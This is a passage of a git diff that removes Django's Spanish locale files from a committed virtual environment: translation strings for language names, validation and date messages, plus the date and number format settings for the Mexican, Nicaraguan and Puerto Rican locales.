-msgid "Upper Sorbian" -msgstr "Alto sorbio" - -msgid "Hungarian" -msgstr "Húngaro" - -msgid "Armenian" -msgstr "Armenio" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesio" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandés" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Japonés" - -msgid "Georgian" -msgstr "Georgiano" - -msgid "Kabyle" -msgstr "Cabilio" - -msgid "Kazakh" -msgstr "Kazajstán" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Coreano" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "luxemburgués" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Letón" - -msgid "Macedonian" -msgstr "Macedonio" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "burmés" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Nepal" - -msgid "Dutch" -msgstr "Holandés" - -msgid "Norwegian Nynorsk" -msgstr "Noruego Nynorsk" - -msgid "Ossetic" -msgstr "osetio" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polaco" - -msgid "Portuguese" -msgstr "Portugués" - -msgid "Brazilian Portuguese" -msgstr "Portugués de Brasil" - -msgid "Romanian" -msgstr "Rumano" - -msgid "Russian" -msgstr "Ruso" - -msgid "Slovak" -msgstr "Eslovaco" - -msgid "Slovenian" -msgstr "Esloveno" - -msgid "Albanian" -msgstr "Albanés" - -msgid "Serbian" -msgstr "Serbio" - -msgid "Serbian Latin" -msgstr "Latin Serbio" - -msgid "Swedish" -msgstr "Sueco" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tailandés" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "udmurto" - -msgid "Ukrainian" -msgstr "Ucraniano" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chino simplificado" - -msgid "Traditional Chinese" -msgstr "Chino tradicional" - -msgid "Messages" -msgstr "Mensajes" - -msgid "Site Maps" -msgstr "Mapas del sitio" - -msgid "Static Files" -msgstr "Archivos Estáticos" - -msgid "Syndication" -msgstr "Sindicación" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "Ese número de página no es un número entero" - -msgid "That page number is less than 1" -msgstr "Ese número de página es menor que 1" - -msgid "That page contains no results" -msgstr "Esa página no contiene resultados" - -msgid "Enter a valid value." -msgstr "Introduzca un valor válido." - -msgid "Enter a valid URL." -msgstr "Ingrese una URL válida." - -msgid "Enter a valid integer." -msgstr "Ingrese un entero válido." - -msgid "Enter a valid email address." -msgstr "Introduzca una dirección de correo electrónico válida." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Introduzca un \"slug\" válido que conste de letras, números, guiones bajos o " -"guiones." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Introduzca un \"slug\" válido que conste de letras Unicode, números, guiones " -"bajos o guiones." - -msgid "Enter a valid IPv4 address." -msgstr "Introduzca una dirección IPv4 válida." - -msgid "Enter a valid IPv6 address." -msgstr "Introduzca una dirección IPv6 válida." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Introduzca una dirección IPv4 o IPv6 válida." - -msgid "Enter only digits separated by commas." -msgstr "Introduzca sólo números separados por comas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Asegúrese de que este valor es %(limit_value)s (es %(show_value)s )." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor sea menor o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor sea mayor o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d caracter " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d caracteres " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -msgid "Enter a number." -msgstr "Introduzca un número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asegúrese de que no hay más de %(max)s dígito en total." -msgstr[1] "Asegúrese de que no hay más de %(max)s dígitos en total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Caracteres nulos no están permitidos." - -msgid "and" -msgstr "y" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "El valor %(value)r no es una opción válida." - -msgid "This field cannot be null." -msgstr "Este campo no puede ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo no puede estar en blanco." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Ya existe un/a %(model_name)s con este/a %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "El valor \"%(value)s\" debe ser Verdadero o Falso. " - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Verdadero o Falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadena (máximo %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Enteros separados por comas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” : el valor tiene un formato de fecha inválido. Debería estar en " -"el formato YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” : el valor tiene el formato correcto (YYYY-MM-DD) pero es una " -"fecha inválida." - -msgid "Date (without time)" -msgstr "Fecha (sin hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"'%(value)s' tiene un formato de fecha no válido. Este valor debe estar en el " -"formato AAAA-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Fecha (con hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Duración" - -msgid "Email address" -msgstr "Dirección de correo electrónico" - -msgid "File path" -msgstr "Ruta de archivo" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "El valor \"%(value)s\" debe ser flotante." - -msgid "Floating point number" -msgstr "Número de punto flotante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Entero" - -msgid "Big (8 byte) integer" -msgstr "Entero grande (8 bytes)" - -msgid "Small integer" -msgstr "Entero pequeño" - -msgid "IPv4 address" -msgstr "Dirección IPv4" - -msgid "IP address" -msgstr "Dirección IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (Verdadero, Falso o Nulo)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Entero positivo" - -msgid "Positive small integer" -msgstr "Entero positivo pequeño" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (hasta %(max_length)s)" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Los datos en bruto" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Archivo" - -msgid "Image" -msgstr "Imagen" - -msgid "A JSON object" -msgstr "Un objeto JSON" - -msgid "Value must be valid JSON." -msgstr "El valor debe ser JSON válido" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "La instancia de %(model)s con %(field)s %(value)r no existe." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clave foránea (el tipo está determinado por el campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relación uno-a-uno" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relación %(from)s - %(to)s " - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relaciones %(from)s - %(to)s" - -msgid "Many-to-many relationship" -msgstr "Relación muchos-a-muchos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Este campo es obligatorio." - -msgid "Enter a whole number." -msgstr "Introduzca un número entero." - -msgid "Enter a valid date." -msgstr "Introduzca una fecha válida." - -msgid "Enter a valid time." -msgstr "Introduzca una hora válida." - -msgid "Enter a valid date/time." -msgstr "Introduzca una fecha/hora válida." - -msgid "Enter a valid duration." -msgstr "Introduzca una duración válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "La cantidad de días debe tener valores entre {min_days} y {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"No se envió un archivo. Verifique el tipo de codificación en el formulario." - -msgid "No file was submitted." -msgstr "No se envió ningún archivo." - -msgid "The submitted file is empty." -msgstr "El archivo enviado está vacío." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Por favor envíe un archivo o marque la casilla, no ambos." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Seleccione una imagen válida. El archivo que ha seleccionado no es una " -"imagen o es un un archivo de imagen corrupto." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Seleccione una opción válida. %(value)s no es una de las opciones " -"disponibles." - -msgid "Enter a list of values." -msgstr "Introduzca una lista de valores." - -msgid "Enter a complete value." -msgstr "Ingrese un valor completo." - -msgid "Enter a valid UUID." -msgstr "Ingrese un UUID válido." - -msgid "Enter a valid JSON." -msgstr "Ingresa un JSON válido." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Ordenar" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor, corrija la información duplicada en %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor corrija la información duplicada en %(field)s, que debe ser única." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor corrija la información duplicada en %(field_name)s que debe ser " -"única para el %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Por favor, corrija los valores duplicados detallados mas abajo." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Seleccione una opción válida. La opción seleccionada no es una de las " -"disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Borrar" - -msgid "Currently" -msgstr "Actualmente" - -msgid "Change" -msgstr "Modificar" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sí,no,tal vez" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "medianoche" - -msgid "noon" -msgstr "mediodía" - -msgid "Monday" -msgstr "Lunes" - -msgid "Tuesday" -msgstr "Martes" - -msgid "Wednesday" -msgstr "Miércoles" - -msgid "Thursday" -msgstr "Jueves" - -msgid "Friday" -msgstr "Viernes" - -msgid "Saturday" -msgstr "Sábado" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mie" - -msgid "Thu" -msgstr "Jue" - -msgid "Fri" -msgstr "Vie" - -msgid "Sat" -msgstr "Sab" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "Enero" - -msgid "February" -msgstr "Febrero" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Mayo" - -msgid "June" -msgstr "Junio" - -msgid "July" -msgstr "Julio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Septiembre" - -msgid "October" -msgstr "Octubre" - -msgid "November" -msgstr "Noviembre" - -msgid "December" -msgstr "Diciembre" - -msgid "jan" -msgstr "ene" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dic" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ene." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marzo" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mayo" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junio" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dic." - -msgctxt "alt. month" -msgid "January" -msgstr "Enero" - -msgctxt "alt. month" -msgid "February" -msgstr "Febrero" - -msgctxt "alt. month" -msgid "March" -msgstr "Marzo" - -msgctxt "alt. month" -msgid "April" -msgstr "Abril" - -msgctxt "alt. month" -msgid "May" -msgstr "Mayo" - -msgctxt "alt. month" -msgid "June" -msgstr "Junio" - -msgctxt "alt. month" -msgid "July" -msgstr "Julio" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Septiembre" - -msgctxt "alt. month" -msgid "October" -msgstr "Octubre" - -msgctxt "alt. month" -msgid "November" -msgstr "Noviembre" - -msgctxt "alt. month" -msgid "December" -msgstr "Diciembre" - -msgid "This is not a valid IPv6 address." -msgstr "Esta no es una dirección IPv6 válida." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hora" -msgstr[1] "%(num)d horas" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "Prohibido" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "No se ha especificado el valor año" - -msgid "Date out of range" -msgstr "Fecha fuera de rango" - -msgid "No month specified" -msgstr "No se ha especificado el valor mes" - -msgid "No day specified" -msgstr "No se ha especificado el valor dia" - -msgid "No week specified" -msgstr "No se ha especificado el valor semana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "No hay %(verbose_name_plural)s disponibles" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"No hay %(verbose_name_plural)s futuros disponibles porque %(class_name)s." -"allow_future tiene el valor False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No se han encontrado %(verbose_name)s que coincidan con la consulta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "La página no es \"last\", ni puede ser convertido a un int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Página inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Los índices del directorio no están permitidos." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índice de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "¡La instalación funcionó con éxito! ¡Felicidades!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "Documentación de Django" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "Comunidad de Django" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c9e68b73..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 61ced7da..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/es_MX/formats.py deleted file mode 100644 index d675d79b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/formats.py +++ /dev/null @@ -1,26 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y \a \l\a\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday: ISO 8601 -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - "%Y%m%d", # '20061025' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", - "%d/%m/%Y %H:%M:%S.%f", - "%d/%m/%Y %H:%M", - "%d/%m/%y %H:%M:%S", - "%d/%m/%y %H:%M:%S.%f", - "%d/%m/%y %H:%M", -] -DECIMAL_SEPARATOR = "." # ',' is also official (less common): NOM-008-SCFI-2002 -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 94222021..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index b0549382..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_NI/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_NI/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/es_NI/formats.py deleted file mode 100644 index 0c8112a6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_NI/formats.py +++ /dev/null @@ -1,26 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y \a \l\a\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday: ISO 8601 -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - "%Y%m%d", # '20061025' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", - "%d/%m/%Y %H:%M:%S.%f", - "%d/%m/%Y %H:%M", - "%d/%m/%y %H:%M:%S", - "%d/%m/%y %H:%M:%S.%f", - "%d/%m/%y %H:%M", -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 4343101f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 4be0f7bf..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_PR/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_PR/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/es_PR/formats.py deleted file mode 100644 index d50fe5d6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_PR/formats.py +++ /dev/null @@ -1,27 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y \a \l\a\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 0 # Sunday - -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '31/12/2009' - "%d/%m/%y", # '31/12/09' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", - "%d/%m/%Y %H:%M:%S.%f", - "%d/%m/%Y %H:%M", - "%d/%m/%y %H:%M:%S", - "%d/%m/%y %H:%M:%S.%f", - "%d/%m/%y %H:%M", -] - -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_VE/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/es_VE/LC_MESSAGES/django.mo deleted file mode 100644 index f7efb3ef..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_VE/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_VE/LC_MESSAGES/django.po 